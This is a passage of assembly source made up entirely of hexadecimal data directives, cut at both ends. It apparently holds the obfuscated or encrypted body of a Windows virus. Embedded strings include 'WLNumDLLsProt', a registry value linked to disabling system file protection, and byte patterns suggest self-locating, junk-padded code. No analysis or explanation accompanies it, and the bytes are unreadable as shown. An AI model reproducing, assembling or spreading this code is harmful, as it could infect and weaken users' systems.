7145368Eh, 22C737AAh, 31F8755Ch dd 0D127E802h, 0E84449A0h, 188181A2h, 3051h, 61h dup(0) dd 2CCC2700h, 0C768F44Eh, 0EF461BBDh, 1D9692BDh, 93AF301Dh dd 7CCB188Bh, 724425DEh, 71CF24F8h, 65F97540h, 0CA2DF440h dd 0F45504F2h, 158696A4h, 0A3EA6A5Dh, 38D610C3h, 6C4A3A8Eh dd 5CA820E8h, 36AD6041h, 0C226F802h, 0FF400AB7h, 91C6A9h dd 91AF7F1Ch, 2FCD038Ah, 3559388Eh, 32C337E9h, 6BEE7143h dd 0CD20C502h, 0F35249A1h, 0ED383A1h, 0B3A87053h, 2ED706C3h dd 7B4A77C5h, 23CD28F3h, 3A4Dh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2E1AE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 667B4D3Dh, 5347CA81h, 15800Fh, 10E90000h dd 5B000000h, 2C0868Ah, 0F9D11EA2h, 0A3E6C2A9h, 0FCA139F3h dd 32B1958Bh, 0C08B0644h, 1CAD958Bh, 0BD830644h, 64420CDh dd 83097500h, 440B25BDh, 13740006h, 0C08B5350h, 1B8h, 0F19D8D00h dd 0FF0646A6h, 83585BD3h, 440B25BDh, 11740006h, 1B85350h dd 8D000000h, 46A5A29Dh, 5BD3FF06h, 48A0F58h, 66000000h dd 6AA6AABBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 3BCAC357h, 2E8BB10Fh, 14E9C141h dd 7C000000h, 0D906A34Bh, 7ED11D7Ch, 0FCAC1829h, 0DA7B2FD1h dd 66D37CA7h, 6E9AEB81h, 2BBAC08Bh, 8329E1ADh, 441A19BDh dd 840F0006h, 186h, 2E2D9D8Bh, 0BD830644h, 6440CB5h, 73840F00h dd 8B000001h, 0BF0F60D8h, 0FB8B66F8h, 8D896061h, 6443389h dd 0CB5858Bh, 9DBB0644h, 51DF861h, 3E8h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 0F2C35040h, 75B1F19Ah dd 89EB1396h, 440B3585h, 0EE85006h, 0D2000000h, 0AC2D3B60h dd 0A88A3DC3h, 49C28ACFh, 31BB6658h, 4895B4Bh, 0B3CB8124h dd 8D2BC0D4h, 444DF985h, 90D98B06h, 8B50C9B7h, 0CA8090DAh dd 0D7858DFAh, 8106444Dh, 0ECFFC9F3h, 9E8907Dh, 32000000h dd 0D222D73Bh, 38A3E56Bh, 505BDE8Ah, 6CED71BAh, 6A9010h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0E0D719C3h, 95FFAD99h, 64409A1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 9BC35242h, 0B589F523h, 6441791h dd 6A0CC483h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0C344C356h, 7DBEA455h, 35693DB0h dd 4DD7858Dh, 9D290644h, 6440745h, 0A68ABB50h, 48918F8h dd 39958924h, 6A064422h, 4EEA8102h, 0FF4CD1DAh, 68857495h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0E7C19DD5h, 3994BC32h, 0BE961F8h, 0BD000000h dd 0AAEEEC51h, 0D67B2BAFh, 85C7CB71h, 6444E0Ah, 1, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C7C35646h, 1800Fh dd 96F80000h, 6650B4B2h, 96132BBAh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 6DC35141h, 4C92BAD8h, 0B5DA51A3h dd 4DBBB589h, 13E80644h, 3B000000h, 60D564D3h, 0AB19A824h dd 90A37D43h, 4591AD94h, 0EE9AA23h, 0D1000000h, 881B38D2h dd 0BCFAD22Bh, 2F67FB1Ch, 0BD835A31h, 6442F11h, 48850F01h dd 0F000000h, 8952D3B7h, 442F7D8Dh, 0F8835B06h, 34850F05h dd 89000000h, 4408D5BDh, 0B806h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0DE5065C3h dd 0E53180BCh, 0F6EA81C1h, 836B45F9h, 442C49BDh, 840F0006h dd 11h, 9318D29h, 0B80644h, 8B000000h, 442FDD95h, 9D8B6006h dd 6440FE5h, 1591858Bh, 0B70F0644h, 2C083D0h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 47C35343h, 8589C181h dd 6444DB3h, 159D9D0Bh, 0C60644h, 0ECBB66FFh, 97D7BA06h dd 85C61F44h, 64402E9h, 51006A53h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0D18EEE28h, 530E1EC9h dd 8531B238h, 64432C9h, 0E8DA8B66h, 12h, 9B74FA5Ah, 2BA6F3BAh dd 6E0D71C0h, 1646716Bh, 9D8BAA58h, 64416A5h, 0ED5685Ah dd 0BA66907Bh, 481BB8Fh, 363A0324h, 0D8F0F6Ch, 60000000h dd 20C59D33h, 54BB0644h, 6176502Eh, 17E9B5FFh, 800F0644h dd 6, 15958Bh, 8D010644h, 64431B9h, 77AF858Dh, 6A0647h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 1D3AC3C3h, 0FD71108Fh, 0FFF0F12Bh, 29BD01D0h, 8906442Dh dd 441C4D85h, 42FEBA06h, 0BD831996h, 6441879h, 0A2850F01h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 16BEC353h, 860FB800h, 6, 9099D01h dd 9D2B0644h, 64425FDh, 729CBA61h, 85C620B6h, 64402E9h dd 5BD0145h, 6806441Bh, 0C2EA7597h, 5BF18A51h, 55243481h dd 0E9188A4Dh, 13h, 5B1AA508h, 72BA388Bh, 0B1546DB8h, 0F064D042h dd 0FF480EC5h, 4417E9B5h, 2D958906h, 8D064422h, 4777AF85h dd 5E906h, 0D69B0000h, 0FFB661D1h, 9D8956D0h, 64409E9h dd 89006A5Bh, 441CA585h, 89D0FF06h, 4409A9B5h, 55BD8306h dd 1064402h, 0BB850Fh, 9D890000h, 6442609h, 1591858Bh dd 830F0644h, 3, 0E9D18B66h, 6Fh, 18698589h, 0B7500644h dd 24048988h, 0F03D05BAh, 0FF146A51h, 441C4D95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E96A1CFDh, 0Ch, 50D1B7DBh, 7C7BB96Ah, 53277EA7h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 58D0E6F1h, 0E4E2DB14h, 80D6B70Fh, 850F0038h, 0FFFFFF8Eh dd 0C6D18B66h, 6A0100h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8BA1D0C3h, 442D359Dh, 0F0BB6106h dd 0B633B04Ch, 79BD8340h, 6440Ah, 52840Fh, 0D3810000h dd 120C83D1h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0E25549C3h, 2F39BB8Eh, 95FF30A9h dd 6441C4Dh, 68C0Fh, 9D890000h, 6440079h, 0FFFFC3E9h, 98F0FFFh dd 60000000h, 81666160h, 611620EFh, 0A7985C7h, 10644h dd 8B660000h, 0BF8589D1h, 8B06444Dh, 44036995h, 0F5BB6606h dd 0BA669089h, 6650687Ah, 2990D88Bh, 4423C9BDh, 6A6006h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 2F27FAC3h, 51104271h, 830F60h, 89000000h, 441BEDBDh dd 295B6106h, 4407799Dh, 0E4D4BB06h, 56A4756h, 81958B53h dd 5B06440Ch, 29699501h, 858D0644h, 6444DD7h, 0CDF28160h dd 8B657BEBh, 4428B5BDh, 0BA506106h, 4111D7E3h, 89240489h dd 4418C595h, 0C7858D06h, 6A06444Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0CDB4C355h dd 50EEF6BDh, 0F18B6660h, 8961F6B2h, 95FF2404h, 6440051h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 88C35646h dd 0CE791F89h, 0DFAAFE82h, 24E38086h, 7BB48D8Dh, 6A0644h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 880FA9C3h, 3, 0BDE8B66h, 8D1174C0h, 444DD785h, 0D1FF5006h dd 4DF58589h, 0AEB0644h, 4DF585C7h, 0FFFF0644h, 6AFFFFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 53CD9AC3h, 5FC92061h, 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8A0FDFC3h, 6, 8BA7C381h dd 6A615EE6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0DFEFC353h, 0CB4BB66h, 2E985C6h, 664D0644h, 0E81FA3BAh dd 4, 0A43576A8h, 14E8h, 0E1D9D500h, 0DB3E9B78h, 0B839E81Ch dd 0E11BAF9Ah, 0D8DCF92Ah, 7ABB6633h, 50505A3Ah, 2890F52h dd 57000000h, 0B6310F5Ah, 8B585A3Ah, 0E8042444h, 0Dh, 0A44A8ED9h dd 7FD81845h, 17A52FDBh, 0D78B6626h, 66008B5Ah, 89C80EBBh dd 8B042444h, 0F5158DAh, 689h, 0D99D8B00h, 5A06441Ch, 3C9B5FFh dd 958B0644h, 6442C31h, 77AF858Dh, 46B60647h, 6AD0FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 7B5AC4C3h, 378C7507h, 8A0F027Bh, 6, 25AD9523h, 85890644h dd 644035Dh, 7E8h, 0C48F7100h, 40C18CBFh, 5AD8BF0Fh, 0EE9h dd 89FBDE00h, 0E47CCAB8h, 95E868DEh, 0C606E8A3h, 4402E985h dd 6A4506h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 3C8997C3h, 687BC8CAh, 0DBBFE7C1h, 0F525060h dd 5A616031h, 0BE858h, 74870000h, 9398E4D6h, 0B49A47BBh dd 13E813h, 23710000h, 33B0E36h, 94BE7DF4h, 931DB6E3h dd 7105C7EEh, 61595BD8h, 0A8243481h, 6A55CD8Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0A7D5C353h, 0DC642C61h, 7B3A8D5h, 17E9B5FFh, 870F0644h dd 4, 0C901BB66h, 77AF858Dh, 8B660647h, 9D9D89DFh, 0FF064408h dd 0D78B66D0h, 20E18589h, 0D28B0644h, 0FE9h, 571E3000h dd 0C83C2701h, 0DFFD7DADh, 81A735F3h, 0E8D98C66h, 12h dd 3940459Ch, 6DA043A0h, 0D9C67D0Ch, 0B7FD65BCh, 8589E633h dd 6440035h, 4C1F65Ah, 25A840Fh, 69B70000h, 125E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 340EB937h, 0F78A51D4h, 1DB58B5Bh, 66064404h, 0C681D38Bh dd 1180h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 1C35646h, 122D1902h, 176B94A6h, 0E9BD83F9h, 6441Bh dd 26850Fh, 14E90000h, 4F000000h, 0B2053E3Dh, 98BBF630h dd 249BCEB0h, 0EC226185h, 66F3BFD1h, 6EE9D68Bh, 0BB000000h dd 2DF698BEh, 0F003E83h, 6084h, 519D8B00h, 60064425h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 44C35242h, 6D95898Fh dd 66064400h, 6ADAD6BBh, 10E814h, 3D430000h, 0FB97990Ah dd 69ED9450h, 80C09485h, 8B667A15h, 95FF5BDFh, 6441C4Dh dd 0B661D98Bh, 0D28166C2h, 99E95305h, 8BFFFFFFh, 106C7D9h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0EBEAC350h, 4B22E6A3h, 9D8B4FD9h dd 64408A1h, 0BD83DA8Ah, 6444DBFh, 21850F05h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 2CAEC357h, 0C9A2AF6Bh, 11D1A6C9h, 1F6D8D31h dd 95310644h, 64433C5h, 20E1B58Bh, 6E80644h, 0BF000000h dd 6DAB73E3h, 79BA66B5h, 64B95A97h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0F1F9C350h, 71C8856h, 0C65B589h, 3E800644h, 11840FE8h dd 81000000h, 0F6550D3h, 18E976h, 0BD890000h, 6443185h dd 0C2057E80h, 53840Fh, 9D8B0000h, 6441875h, 6A46DF8Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 2634C356h, 0D59D29A0h, 49064423h, 0FFA8850Fh dd 0F60FFFFh, 181h, 858BFC00h, 6441015h, 0A2FCBA61h, 3DE965F2h dd 8B000000h, 4425AD9Dh, 0DB58906h, 6A064416h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 506FC350h, 3430E078h, 0E1CE96A6h, 0CAB70F60h, 0BB61F18Bh dd 48236B2h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 9522C066h, 1DB18589h, 0BD830644h dd 6442E89h, 11840F00h, 89000001h, 442191B5h, 0B5896006h dd 6440339h, 2E985C6h, 89540644h, 4421718Dh, 4E806h, 0BEF40000h dd 8B57FF4Eh, 8B505AD9h, 8B042444h, 9FAFBA00h, 44896C48h dd 12E90424h, 0D3000000h, 10296676h, 0CDB944CBh, 3728F4F0h dd 4E1DF3A7h, 0FFF8586Fh, 4417E9B5h, 0D9D8B06h, 8D06441Ch dd 4777AF85h, 4DB46006h, 1E28166h, 0D0FF6146h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6DC35343h, 0D2817B96h dd 5A36F707h, 0FE9006Ah, 6B000000h, 48A4AF5Dh, 0A61DDF2h dd 3F767AB5h, 0B5FFDD30h, 6442E89h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 75C35545h, 11E9h, 66BD3D00h dd 0F9CA4FE6h, 0F132DA3Ch, 0DA8485D9h, 0D0FF4AEAh, 6880Fh dd 0BD010000h, 6440A95h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0B589A9CFh, 6441D41h dd 2CAD85C7h, 10644h, 66600000h, 0B68D88Bh, 0E9B77DD0h dd 8, 5EF55E99h, 0B300D7B9h, 75240481h, 0E9488230h, 7 dd 0E6C739F1h, 6A30FADEh, 5531BBFFh, 95FF1929h, 6443015h dd 2EA59D8Bh, 8B610644h, 44289595h, 0BB579006h, 44A7F509h dd 0BB66505Bh, 6A90B9B7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 63DBC353h, 8FBC7BF9h dd 858B0959h, 6442A09h, 6810Fh, 958B0000h, 6442221h, 840FC00Bh dd 18h, 0F92FBA66h, 153995FFh, 89600644h, 44310985h, 39853106h dd 6106441Eh, 9B585C7h, 10644h, 0C3800000h, 35BD835Ch dd 64432h, 4C840Fh, 5E90000h, 0B9000000h, 84370F11h, 29C8ECBAh dd 0ED95FF18h, 6A06441Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0BC0C355h, 13E985DEh dd 0C2000000h, 5A457ED5h, 0C56F2C92h, 0B9B32A23h, 48E18992h dd 0BD838D09h, 6441E55h, 37840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 16E2C352h, 5167D5Ch, 6F3F3B1Ah, 2CBD9D8Bh, 95FF0644h dd 644262Dh, 16199D89h, 0BD830644h, 644234Dh, 7B840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0ABF7C355h, 96C670F1h, 0CD9D8B2Eh dd 8306440Ch, 441745BDh, 850F0006h, 46h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 0C2C35747h, 0FF0EF380h dd 44097195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 79A5F166h, 0BD83F9F4h, 64433ADh dd 40840F00h, 0E9000000h, 12h, 0ECAC68B2h, 61148EBBh, 0DF54A3h dd 0D21441EBh, 85810EFDh, 64402F5h, 4003h, 0AE8h, 3AA24600h dd 0B6645E26h, 0B3B2E598h, 85815ADBh, 6442229h, 4003h dd 0FDAB70Fh, 0D08B6631h, 5DB08D8Dh, 0D98B0644h, 958B0189h dd 6440995h, 0BF0FC233h, 89FD8ADBh, 9D310441h, 64423E9h dd 0BA66310Fh, 8D8D217Fh, 6445DCCh, 2E499589h, 1890644h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0EFC35040h dd 0E5D48F01h, 13860F76h, 0E8000000h, 0Bh, 19556F4h, 566A37F5h dd 8A7CCC73h, 0C2335BDEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 4FC35545h, 5CE91017h, 319765BEh, 44083585h dd 5E806h, 0BE210000h, 8BE95150h, 41895ADEh, 0DE804h, 1A020000h dd 0F53087F2h, 38009690h, 663A3C59h, 835AD38Bh, 440FE9BDh dd 840F0006h, 38h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0F3C35242h, 4670AEBh, 8B880C82h, 441E5195h dd 0FDE78006h, 179595FFh, 9D8B0644h, 64432DDh, 176DBD83h dd 0F010644h, 6485h, 49958900h, 0E9064419h, 59h, 0FA5DA80h dd 0B58BD2BFh, 6445EF5h, 6C7h, 0B58B0000h, 6445C67h, 6C7h dd 6ACF0000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 5899C356h, 44556317h, 0EE9h, 368A6B00h dd 0D3E0D1E7h, 6561FE7Bh, 8B931940h, 442D0595h, 0B5BD8306h dd 64409h, 1D4840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0DFBB4BC3h, 1971BD29h dd 66600644h, 0B70FC88Bh, 0BD8361F1h, 6441065h, 88850F01h dd 89000001h, 4426258Dh, 0B38D8B06h, 6A06444Dh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 441EC350h, 9F34A7E2h, 6057C44Bh, 1D2D9D29h, 5E560644h dd 8D095B61h, 64428D9h, 890001C6h, 4402EDB5h, 6A6006h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0E6E444C3h, 9C02C26Dh, 4E8h, 8000h, 0E9525000h, 13h dd 0A851E150h, 0CE45AABCh, 0AE5E1016h, 5B13068Dh, 0FDEFDA2h dd 5AF98A31h, 66605058h, 0F88BFA8Bh, 24448B61h, 2860F04h dd 0B2000000h, 0E8008B0Eh, 6, 0DFB7C948h, 0B0B3954Dh, 2444895Ah dd 5E904h, 70110000h, 58B55AA6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 45C35747h, 0E8AAC363h, 7, 90E48ECBh dd 804716EFh, 0BA5AB9E3h, 5981277Dh, 0FE9h, 507F2700h dd 2B346328h, 0D06D1CCEh, 0FEA5E459h, 14E8FF6Ah, 0DA000000h dd 0CD9C95D3h, 25C6D135h, 59637B06h, 0A7280485h, 890B651Ah dd 441D119Dh, 95FF5B06h, 6443015h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 3C35343h, 927DC0C7h, 0FFFE8A61h dd 4416AD95h, 759D8B06h, 8B06442Bh, 444DB38Dh, 8E806h dd 0AF2B0000h, 276170E2h, 9D299C5Ch, 6442BBDh, 6601FE5Bh dd 83657DBAh, 440331BDh, 850F0106h, 6, 13A58529h, 0C08B0644h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D4C35646h dd 257EB556h, 126CBB66h, 20CDBD83h, 75000644h, 25BD8309h dd 6440Bh, 53501A74h, 858BC08Bh, 64402F5h, 2F58589h, 9D8D0644h dd 646A84Fh, 585BD3FFh, 0B25BD83h, 74000644h, 8B535018h dd 4402F585h, 0F5858906h, 8D064402h, 46A53E9Dh, 5BD3FF06h dd 0C9816058h, 0CD63B8Ah, 10870Fh, 0BE90000h, 0DD000000h dd 0FB34338Dh, 373BB1Fh, 6A6120ECh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0FF9AC353h dd 0D134913Ah, 8BE7A637h, 699533C0h, 89064424h, 4426259Dh dd 0B5BD8306h, 64409h, 2A850Fh, 8D890000h, 6441655h, 8F1BD83h dd 0F000644h, 1784h, 0BE800h, 74DB0000h, 0B6057ADAh, 1F8CDD9Fh dd 0C19D8B02h, 5A06442Ah, 9B5BD83h, 0F000644h, 1784h, 0E19D8900h dd 8306440Ch, 441615BDh, 840F0006h, 4, 0DA8B66F9h, 9B5BD83h dd 0F000644h, 1884h, 0F9950100h, 8306441Eh, 441615BDh dd 840F0006h, 5, 2CFAD4BAh, 0B5BD830Dh, 64409h, 43840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 156801C3h, 0BE97E12h, 3B000000h, 0CC9A6FBBh dd 0EF6614F5h, 0BD83470Ch, 644103Dh, 6840F00h, 29000000h dd 440DC985h, 0B5BD8306h, 64409h, 4A840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 23345BC3h, 810FFC4Bh, 0 dd 2191958Bh, 0BD830644h, 64432F9h, 11840F00h, 29000000h dd 4430FD95h, 2995FF06h, 66064416h, 0F99D97BBh, 8166C08Bh dd 835DD8E3h, 4420CDBDh, 9750006h, 0B25BD83h, 74000644h dd 8B53501Ah, 29858BC0h, 89064422h, 44222985h, 0B69D8D06h dd 0FF0646A8h, 83585BD3h, 440B25BDh, 18740006h, 858B5350h dd 6442229h, 22298589h, 9D8D0644h, 646A557h, 585BD3FFh dd 8CCB8166h, 819D8B7Bh, 8906440Dh, 441B0D95h, 89C08B06h dd 441EB585h, 0B5BD8306h, 64409h, 520840Fh, 9D330000h dd 6441AC9h, 2DADBD01h, 0BD830644h, 6441879h, 4D840F02h dd 66000000h, 9CF4CB81h, 0AE9h, 9AAE9500h, 0C04D20C5h dd 836F0043h, 44176DBDh, 850F0106h, 2Ch, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 71C35343h, 0C7D70689h dd 2AC99D8Bh, 9D8B0644h, 6442C81h, 9D9BD83h, 0F000644h dd 0EF84h, 0BD958900h, 6006440Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 61C35646h, 2992DB24h, 4429498Dh dd 39BD0906h, 8B064422h, 444DB38Dh, 11BD8906h, 0FE06440Bh dd 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 9FBD6CE0h, 148B0F5Ah, 0E9000000h, 0Fh, 0ED56FCBBh dd 1F7B9223h, 0EA82423Bh, 8B1EE9C2h, 44183D9Dh, 7C7D6806h dd 0BBBB5DE9h, 8159F673h, 7CFD2434h, 6A5DE9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7491FAC3h dd 0A10D2248h, 66605A03h, 0DE8AD98Bh, 952BFF6Ah, 6440D11h dd 301595FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 7EB6DFC3h, 61BDCE80h, 90E4BA66h dd 0D9B50160h, 8B06441Ch, 444DB38Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F801FEBDh dd 0ED681AB6h, 0E89433FFh, 0Dh, 0E7053599h, 0E9F1E276h dd 0DCEADCA3h, 0D98B66A3h, 2404815Ah, 6BCC0093h, 0E21BD89h dd 0FF6A0644h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 5FC35343h, 29D68B66h, 441A21B5h, 1595FF06h, 6A064430h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0AC97C357h, 0E9D02C8Dh, 6, 0A7C3038h, 0F48AFB42h dd 67FDBA61h, 0BD8D6DA5h, 64415A1h, 11E8h, 0EB05E100h dd 0D3131E94h, 6B84F43Ch, 0BB227627h, 958B9C14h, 64431A5h dd 0D98B665Ah, 311C4F8Bh, 4407CDBDh, 57016A06h, 0EA8EBA66h dd 0CDB2915Bh, 8D899150h, 6441565h, 1DE1BD29h, 858D0644h dd 647336Ah, 30E99D89h, 0D0FF0644h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 35C35545h, 11958B63h, 8B06440Ch dd 6A204Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 1419FBC3h, 1B0D9D8Bh, 36A0644h, 319D8B53h dd 5A06441Ch, 0F505150h, 80h, 895A5A00h, 8589240Ch, 6441955h dd 336A858Dh, 6A0647h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0FE74EFC3h, 0B2F629A4h, 880F6BC3h dd 3, 0FFD8BF0Fh, 8DD68BD0h, 4415A1BDh, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 35958B42h, 8B064414h, 6A1C4Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 729A7C3h, 0A102B943h dd 959589AAh, 6A06440Dh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 11F0D00Eh, 7D8A4060h dd 2BF59533h, 89500644h, 6A240Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0B6E833C3h, 0E48CF4C4h dd 65D380EEh, 336A858Dh, 958B0647h, 64406F1h, 0FA98D89h dd 0D0FF0644h, 2CE2BA66h, 81204F8Bh, 0E4F6C4C3h, 0E9036A5Fh dd 6, 0BE774AD3h, 0E991966Eh, 0Bh, 19D812B7h, 0F4EBA5BBh dd 5055A565h, 3E2EBA66h, 50006A91h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 91EBF02Ah, 12E91Bh, 0B3060000h dd 0F1BC65D5h, 0D56564A3h, 0F88AED87h, 23AC8D2Ch, 418D8956h dd 5A06442Ah, 336A858Dh, 0B5290647h, 6443185h, 0FF18B60h dd 0FF61D2B7h, 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 36F8A49Fh, 0FBEFAB85h dd 15099D29h, 8D8B0644h, 6444DB3h, 753BA5BAh, 0FEF18A2Ah dd 0BDBD0101h, 8B064430h, 444DB385h, 0BE906h, 6EB50000h dd 896510E3h, 0CCF514F2h, 0E800FEDEh, 0Fh, 39D258EEh, 9DB663A2h dd 4C9AEF64h, 66F334ABh, 9725DA81h, 66016A5Ah, 8F68D78Bh dd 0E9FF2FB3h, 0Fh, 0B05A33EBh, 0F37EDB90h, 0C7F7F2AAh dd 81F0B7C4h, 0EC702404h, 6A00CFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 4CD64CC3h, 0F61A0EA7h dd 666E6BADh, 858DD98Bh, 6473374h, 0D0FF17B3h, 28F0F56h dd 8B000000h, 0BD835AD7h, 64408F1h, 0F8840F00h, 0E9000000h dd 11h, 3A125976h, 0A2DFE6B6h, 0F2378D19h, 317A2EA2h, 0AD95895Fh dd 8306442Dh, 442F11BDh, 850F0106h, 0CFh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 33C35040h, 69B5299Ah dd 8D064421h, 47337E8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 36AF33Ah, 28C9958Bh, 16A0644h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1AC35747h dd 11E983h, 0B1ED0000h, 85CE3219h, 0FD8CFBF3h, 918B5298h dd 816B7DBBh, 450DB4C3h, 8BD1FF06h, 6A016AD7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0F157C352h, 0D8A4FF44h, 0BA172B6Bh, 699193DDh, 9589016Ah dd 6442D05h, 0D18BD1FFh, 175BD5E8h, 918D89FAh, 6A064409h dd 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 73E03115h, 0CBD8531h, 70B70644h, 2625958Bh dd 0FF6A0644h, 32119D8Bh, 95FF0644h, 6443015h, 0CE9h, 0C67BBB00h dd 17A9EBFh, 0E17BEC6Ch, 0B88Ah, 0BE90000h, 0CE000000h dd 99729561h, 9459A0AFh, 0C00B8464h, 2F840Fh, 0BD890000h dd 6441C95h, 1825BD83h, 0F000644h, 1C84h, 0E840F00h, 60000000h dd 2245BD8Bh, 9D290644h, 6441EB5h, 9D95FF61h, 8B064431h dd 91858BD7h, 8B064415h, 0C6DFh, 969958Bh, 8F0F0644h, 6 dd 33A19D8Bh, 